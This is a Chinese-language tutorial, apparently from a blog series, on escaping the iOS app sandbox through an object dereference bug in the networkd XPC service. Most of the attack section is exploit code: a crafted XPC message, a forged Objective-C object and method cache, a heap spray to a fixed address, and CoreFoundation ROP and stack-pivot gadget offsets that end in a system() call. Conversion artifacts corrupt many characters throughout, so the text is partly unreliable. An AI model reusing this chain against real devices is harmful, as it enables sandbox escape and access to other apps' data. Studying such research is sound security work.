iOS冰與火之歌–利用XPC過(guò)sandbox
0x00 序
冰指的是用戶(hù)態(tài),火指的是內(nèi)核態(tài)。如何突破像冰箱一樣的用戶(hù)態(tài)沙盒最終到達(dá)并控制如火焰一般燃燒的內(nèi)核就是《iOS冰與火之歌》這一系列文章將要講述的內(nèi)容。這次給大家?guī)?lái)的是利用XPC突破app沙盒,并控制其他進(jìn)程的pc(program counter)執(zhí)行system指令。
《iOS冰與火之歌》系列的目錄如下:
- Objective-C Pwn and iOS arm64 ROP
- 在非越獄的iOS上進(jìn)行App Hook(番外篇)
- App Hook答疑以及iOS 9砸殼(番外篇)
- 利用XPC過(guò)App沙盒
0x01 什么是XPC
在iOS上有很多IPC(內(nèi)部進(jìn)程通訊)的方法,最簡(jiǎn)單最常見(jiàn)的IPC就是URL Schemes,也就是app之間互相調(diào)起并且傳送簡(jiǎn)單字符的一種機(jī)制。比如我用 [[UIApplication sharedApplication] openURL:url] 這個(gè)api再配合" alipay:// ", “ wechat:// ”等url,就可以調(diào)起支付寶或者微信。
今天要講的XPC比URLScheme要稍微復(fù)雜一點(diǎn)。XPC也是iOS IPC的一種,通過(guò)XPC,app可以與一些系統(tǒng)服務(wù)進(jìn)行通訊,并且這些系統(tǒng)服務(wù)一般都是在沙盒外的,如果我們可以通過(guò)IPC控制這些服務(wù)的話(huà),也就成功的做到沙盒逃逸了。App在沙盒內(nèi)可以通過(guò)XPC訪問(wèn)的服務(wù)大概有三四十個(gè),數(shù)量還是非常多的。
想要與這些XPC服務(wù)通訊我們需要?jiǎng)?chuàng)建一個(gè)XPC client,傳輸?shù)膬?nèi)容要與XPC service接收的內(nèi)容對(duì)應(yīng)上,比如系統(tǒng)服務(wù)可能會(huì)開(kāi)這樣一個(gè)XPC service:
- #!objc
- xpc_connection_t listener = xpc_connection_create_mach_service("com.apple.xpc.example",
- NULL, XPC_CONNECTION_MACH_SERVICE_LISTENER);
- xpc_connection_set_event_handler(listener, ^(xpc_object_t peer) {
- // Connection dispatch
- xpc_connection_set_event_handler(peer, ^(xpc_object_t event) {
- // Message dispatch
- xpc_type_t type = xpc_get_type(event);
- if (type == XPC_TYPE_DICTIONARY){
- //Message handler
- }
- });
- xpc_connection_resume(peer);
- });
- xpc_connection_resume(listener);
如果我們可以在沙盒內(nèi)進(jìn)行訪問(wèn)的話(huà),我們可以通過(guò)建立XPC的客戶(hù)端進(jìn)行連接:
- #!objc
- xpc_connection_t client = xpc_connection_create_mach_service("com.apple.xpc.example",
- NULL, 0);
- xpc_connection_set_event_handler(client, ^(xpc_object_t event) {
- });
- xpc_connection_resume(client);
- xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_uint64 (message, "value", 0);
- xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, message);
運(yùn)行上述程序后,在server端那邊就可以收到client端的消息了。
我們知道,xpc傳輸?shù)钠鋵?shí)就是一段二進(jìn)制數(shù)據(jù)。比如我們傳輸?shù)膞pc_dictionary是這樣的:
實(shí)際傳輸?shù)臄?shù)據(jù)確是這樣的(通過(guò)lldb,然后
- break set --name _xpc_serializer_get_dispatch_mach_msg
就可以看到):
可以看到這些傳輸?shù)臄?shù)據(jù)都經(jīng)過(guò)序列化轉(zhuǎn)換成二進(jìn)制data,然后等data傳遞到系統(tǒng)service的服務(wù)端以后,再通過(guò)反序列化函數(shù)還原回原始的數(shù)據(jù)。
我們知道正常安裝后的app是mobile權(quán)限,但是被sandbox限制在了一個(gè)狹小的空間里。如果系統(tǒng)服務(wù)在接收XPC消息的時(shí)候出現(xiàn)了問(wèn)題,比如Object Dereference漏洞等,就可能讓client端控制server端的pc寄存器,從而利用rop執(zhí)行任意指令。雖然大多數(shù)系統(tǒng)服務(wù)也是mobile權(quán)限,但是大多數(shù)系統(tǒng)服務(wù)并沒(méi)有被sandbox,因此就可以擁有讀取或修改大多數(shù)文件的權(quán)限或者是執(zhí)行一些能夠訪問(wèn)kernel的api從而觸發(fā)panic。
0x02 Com.apple.networkd Object Dereference漏洞分析
Com.apple.networkd 是一個(gè)app沙盒內(nèi)可達(dá)的xpc系統(tǒng)服務(wù)。這個(gè)服務(wù)對(duì)應(yīng)的binary是/usr/libexec/networkd。我們可以通過(guò)ps看到這個(gè)服務(wù)的權(quán)限是_networkd:
雖然沒(méi)有root權(quán)限,但是也幾乎可以做到沙盒外任意文件讀寫(xiě)了。在iOS 8.1.3及之前版本,這個(gè)XPC系統(tǒng)服務(wù)存在Object Dereference漏洞,這個(gè)漏洞是由Google Project Zero的IanBeer發(fā)現(xiàn)的,但他給的poc只是Mac OS X上的,并且hardcode了很多地址。而本篇文章將以iphone 4s, arm32, 7.1.1為測(cè)試機(jī),一步一步講解如何找到這些hardcode的地址和gadgets,并利用這個(gè)漏洞做到app的沙盒逃逸。
問(wèn)題出在com.apple.networkd這個(gè)服務(wù)的 char *__fastcall sub_A878(int a1) 這個(gè)函數(shù)中,對(duì)傳入的” effective_audit_token ”這個(gè)值沒(méi)有做類(lèi)型校驗(yàn),就直接當(dāng)成xpc_data這種數(shù)據(jù)類(lèi)型進(jìn)行解析了:
然而如果我們傳過(guò)去的值并不是一個(gè)xpc_data,networkd也會(huì)當(dāng)這個(gè)值是一個(gè)xpc_data,并傳給 _xpc_data_get_bytes_ptr() 來(lái)進(jìn)行解析:
解析完成后,無(wú)論這個(gè)對(duì)象是否符合service程序的預(yù)期,程序都會(huì)調(diào)用 _dispatch_objc_release() 這個(gè)函數(shù)來(lái)release這個(gè)對(duì)象。因此,我們就想到了是否可以偽造一個(gè)objective-C的對(duì)象,同時(shí)將這個(gè)對(duì)象的release()函數(shù)給加入到cache里,這樣的話(huà),在程序release這個(gè)對(duì)象的時(shí)候,就可以控制pc指針指向我們想要執(zhí)行的ROP指令了。
是的,這個(gè)想法是可行的。首先我們要做的是根據(jù)數(shù)據(jù)傳輸?shù)膮f(xié)議(通過(guò)反編譯networkd得到)構(gòu)造相應(yīng)的xpc數(shù)據(jù):
- #!objc
- xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_uint64(dict, "type", 6);
- xpc_dictionary_set_uint64(dict, "connection_id", 1);
- xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0);
- xpc_object_t conn_list = xpc_array_create(NULL, 0);
- xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_string(arr_dict, "hostname", "example.com");
- xpc_array_append_value(conn_list, arr_dict);
- xpc_dictionary_set_value(params, "connection_entry_list", conn_list);
- uint32_t uuid[] = {0x0, 0x1fec000};
- xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid);
- xpc_dictionary_set_uint64(params, "start", 0);
- xpc_dictionary_set_uint64(params, "duration", 0);
- xpc_dictionary_set_value(dict, "parameters", params);
- xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_int64(state, "power_slot", 0);
- xpc_dictionary_set_value(dict, "state", state);
隨后我們可以使用 NSLog(@"%@",dict); 將我們構(gòu)造好以后的xpc數(shù)據(jù)打印出來(lái):
除了effective_audit_token以外的其他數(shù)據(jù)都是正常的。為了攻擊這個(gè)系統(tǒng)服務(wù),我們把 effective_audit_token 的值用 xpc_dictionary_set_uuid 設(shè)置為 {0x0, 0x1fec000}; 。0x1fec000這個(gè)地址保存的將會(huì)是我們偽造的Objective-C對(duì)象。構(gòu)造完xpc數(shù)據(jù)后,我們就可以將數(shù)據(jù)發(fā)送到networkd服務(wù)端觸發(fā)漏洞了。但如何構(gòu)造一個(gè)偽造的ObjectC對(duì)象,以及如何將偽造的對(duì)象保存到這個(gè)地址呢?請(qǐng)繼續(xù)看下一章。
0x03 構(gòu)造fake Objective-C對(duì)象以及Stack Pivot
首先我們需要通過(guò)偽造一個(gè)fake Objective-C對(duì)象和構(gòu)造一個(gè)假的cache來(lái)控制pc指針。這個(gè)技術(shù)我們已經(jīng)在《iOS冰與火之歌 – Objective-C Pwn and iOS arm64 ROP》中介紹了。簡(jiǎn)單說(shuō)一下思路:
第一步,我們需要找到selector在內(nèi)存中的地址,這個(gè)問(wèn)題可以使用 NSSelectorFromString() 這個(gè)系統(tǒng)自帶的API來(lái)解決,比如我們需要用到”release”這個(gè)selector的地址,就可以使用 NSSelectorFromString(@"release") 來(lái)獲取。
第二步,我們要構(gòu)建一個(gè)假的receiver,假的receiver里有一個(gè)指向假的objc_class的指針,假的objc_class里又保存了假的cache_buckets的指針和mask。假的cache_buckets的指針最終指向我們將要偽造的selector和selector函數(shù)的地址。這個(gè)偽造的函數(shù)地址就是我們要執(zhí)行的ROP鏈的起始地址。
最終代碼如下:
- #!objc
- hs->fake_objc_class_ptr = &hs->fake_objc_class;
- hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
- hs->fake_objc_class.cache_bucket_mask = 0;
- hs->fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
- hs->fake_cache_bucket.cached_function = start address of ROP chain
既然通過(guò)fake Objective-C對(duì)象,我們控制了xpc service的pc,我們就可以在sandbox外做些事情了。但因?yàn)镈EP的關(guān)系,如果我們沒(méi)有給kernel打patch,我們并不能執(zhí)行任意的shellcode。因此我們需要用ROP來(lái)達(dá)到我們的目的。雖然program image,library,堆和棧等都是隨機(jī),但好消息是 dyld_shared_cache 這個(gè)共享緩存的地址開(kāi)機(jī)后是固定的,并且每個(gè)進(jìn)程的 dyld_shared_cache 都是相同的。這個(gè) dyld_shared_cache 有好幾百M(fèi)大,基本上可以滿(mǎn)足我們對(duì)gadgets的需求。因此我們只要在自己的進(jìn)程獲取 dyld_shared_cache 的基址就能夠計(jì)算出目標(biāo)進(jìn)程gadgets的位置。
dyld_shared_cache 文件一般保存在/System/Library/Caches/com.apple.dyld/這個(gè)目錄下。我們下載下來(lái)以后,可以使用jtool將里面的dylib提取出來(lái)。比如我們想要提取CoreFoundation這個(gè)framework,就可以使用:
jtool -extract CoreFoundation ./dyld_shared_cache_armv7
隨后就可以用ROPgadget這個(gè)工具來(lái)搜索gadget了。如果是arm32位的話(huà),記得加上thumb模式,不然默認(rèn)是按照arm模式搜索的,gadget會(huì)少很多:
ROPgadget --binary ./dyld_shared_cache_armv7.CoreFoundation --rawArch=arm --rawMode=thumb
接下來(lái)我們需要找到一個(gè)用來(lái)做stack pivot的gadget,因?yàn)槲覀儎傞_(kāi)始只控制了有限的幾個(gè)寄存器,并且棧指針指向的地址也不是我們可以控制的,如果我們想控制更多的寄存器并且持續(xù)控制pc的話(huà),就需要使用stack pivot gadget將棧指針指向一段我們可以控制的內(nèi)存地址,然后利用pop指令來(lái)控制更多的寄存器以及PC。另一點(diǎn)要注意的是,如果我們想使用thumb指令,就需要給跳轉(zhuǎn)地址1,因?yàn)閍rm CPU是通過(guò)最低位來(lái)判斷是thumb指令還是arm指令的。我們?cè)趇phone4s 7.1.2上找到的stack pivot gadgets如下:
- #!objc
- /*
- __text:2D3B7F78 MOV SP, R4
- __text:2D3B7F7A POP.W {R8,R10}
- __text:2D3B7F7E POP {R4-R7,PC}
- */
- hs->stack_pivot= CoreFoundation_base + 0x4f78 + 1;
- NSLog(@"hs->stack_pivot = 0x%08x", (uint32_t)(CoreFoundation_base + 0x4f78));
因?yàn)檫M(jìn)行stack pivot需要控制r4寄存器,但最開(kāi)始我們只能控制r0,因此我們先找一個(gè)gadget把r0的值賦給r4,然后再調(diào)用stack pivot gadget:
- #!objc
- /*
- 0x2dffc0ee: 0x4604 mov r4, r0
- 0x2dffc0f0: 0x6da1 ldr r1, [r4, #0x58]
- 0x2dffc0f2: 0xb129 cbz r1, 0x2dffc100 ; <+28>
- 0x2dffc0f4: 0x6ce0 ldr r0, [r4, #0x4c]
- 0x2dffc0f6: 0x4788 blx r1
- */
- hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x0009e0ee + 1; //fake_struct.stack_pivot_ptr
- NSLog(@"hs->fake_cache_bucket.cached_function = 0x%08x", (uint32_t)(CoreFoundation_base+0x0009e0ee));
經(jīng)過(guò)stack pivot后,我們控制了棧和其他的寄存器,隨后我們就可以調(diào)用想要執(zhí)行的函數(shù)了,比如說(shuō)用system指令執(zhí)行” touch /tmp/iceandfire ”。當(dāng)然我們也需要找到相應(yīng)的gadget,并且在棧上對(duì)應(yīng)的正確地址上放入相應(yīng)寄存器的值:
- #!objc
- // 0x00000000000d3842 : mov r0, r4 ; mov r1, r5 ; blx r6
- strcpy(hs->command, "touch /tmp/ iceandfire");
- hs->r4=(uint32_t)&hs->command;
- hs->r6=(void *)dlsym(RTLD_DEFAULT, "system");
- hs->pc = CoreFoundation_base+0xd3842+1;
- NSLog(@"hs->pc = 0x%08x", (uint32_t)(CoreFoundation_base+0xd3842));
最終我們偽造的Objective-C的結(jié)構(gòu)體構(gòu)造如下:
- #!objc
- struct heap_spray {
- void* fake_objc_class_ptr;
- uint32_t r10;
- uint32_t r4;
- uint32_t r5;
- uint32_t r6;
- uint32_t r7;
- uint32_t pc;
- uint8_t pad1[0x3c];
- uint32_t stack_pivot;
- struct fake_objc_class_t {
- char pad[0x8];
- void* cache_buckets_ptr;
- uint32_t cache_bucket_mask;
- } fake_objc_class;
- struct fake_cache_bucket_t {
- void* cached_sel;
- void* cached_function;
- } fake_cache_bucket;
- char command[1024];
- };
0x04 堆噴(Heap Spray)
雖然我們可以利用一個(gè)偽造的Objective-C對(duì)象來(lái)控制networkd。但是我們需要將這個(gè)對(duì)象保存在networkd的內(nèi)存空間中才行,并且因?yàn)锳SLR(地址隨機(jī)化)的原因,我們就算能把偽造的對(duì)象傳輸過(guò)去,也很難計(jì)算出這個(gè)對(duì)象在內(nèi)存中的具體位置。那么應(yīng)該怎么做呢?方法就是堆噴(Heap Spray)。雖然ASLR意味著每次啟動(dòng)服務(wù),program image,library,堆和棧等都是隨機(jī)。但實(shí)際上這個(gè)隨機(jī)并不是完全的隨機(jī),只是在某個(gè)地址范圍內(nèi)的隨機(jī)罷了。因此我們可以利用堆噴在內(nèi)存中噴出一部分空間(盡可能的大,為了能覆蓋到隨機(jī)地址的范圍),然后在里面填充n個(gè)fake Object就可以了。
我進(jìn)行漏洞測(cè)試的環(huán)境是,iPhone4s (arm 32位) 7.1.2,我們選擇了0x1fec000這個(gè)地址,因?yàn)榻?jīng)過(guò)多次堆噴測(cè)試,這個(gè)地址可以達(dá)到將近100%的噴中率。堆噴的代碼如下:
- #!objc
- void* heap_spray_target_addr = (void*)0x1fec000;
- struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
- memset(hs, 0x00, 0x1000);
- size_t heap_spray_pages = 0x2000;
- size_t heap_spray_bytes = heap_spray_pages * 0x1000;
- char* heap_spray_copies = malloc(heap_spray_bytes);
- for (int i = 0; i < heap_spray_pages; i++){
- memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000);
- }
- xpc_connection_t client = xpc_connection_create_mach_service("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
- xpc_connection_set_event_handler(client, ^void(xpc_object_t response) {
- xpc_type_t t = xpc_get_type(response);
- if (t == XPC_TYPE_ERROR){
- printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION));
- }
- printf("received an event\n");
- });
- xpc_connection_resume(client);
- xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_data(dict, "heap_spray", heap_spray_copies, heap_spray_bytes);
- xpc_connection_send_message(client, dict);
隨后我們編譯執(zhí)行我們的app,app會(huì)將fake ObjectiveC對(duì)象用堆噴的方式填充到networkd的內(nèi)存中,隨后app會(huì)觸發(fā)object dereference漏洞來(lái)控制pc,隨后app會(huì)利用rop執(zhí)行 system("touch /tmp/iceandfire") 指令。運(yùn)行完app后,我們發(fā)現(xiàn)在/tmp/目錄下已經(jīng)出現(xiàn)了iceandfire這個(gè)文件了,說(shuō)明我們成功突破了沙盒并執(zhí)行了system指令:
0x05 總結(jié)
這篇文章我們介紹了如何利用XPC突破沙盒,進(jìn)行堆噴,控制系統(tǒng)服務(wù)的PC,并且利用ROP進(jìn)行stack pivot,然后執(zhí)行system指令。突破沙盒后,雖然不能安裝盜版的app,但一個(gè)app就可以隨心所欲的增刪改查其他app的文件和數(shù)據(jù)了,有種android上root的感覺(jué)。 雖然這個(gè)漏洞已經(jīng)在8.1.3上修復(fù)了,但不代表以后不會(huì)出現(xiàn)類(lèi)似的漏洞。比如我們發(fā)現(xiàn)的這個(gè)iOS 9.3 0day就可以輕松突破最新版的iOS沙盒獲取到其他app的文件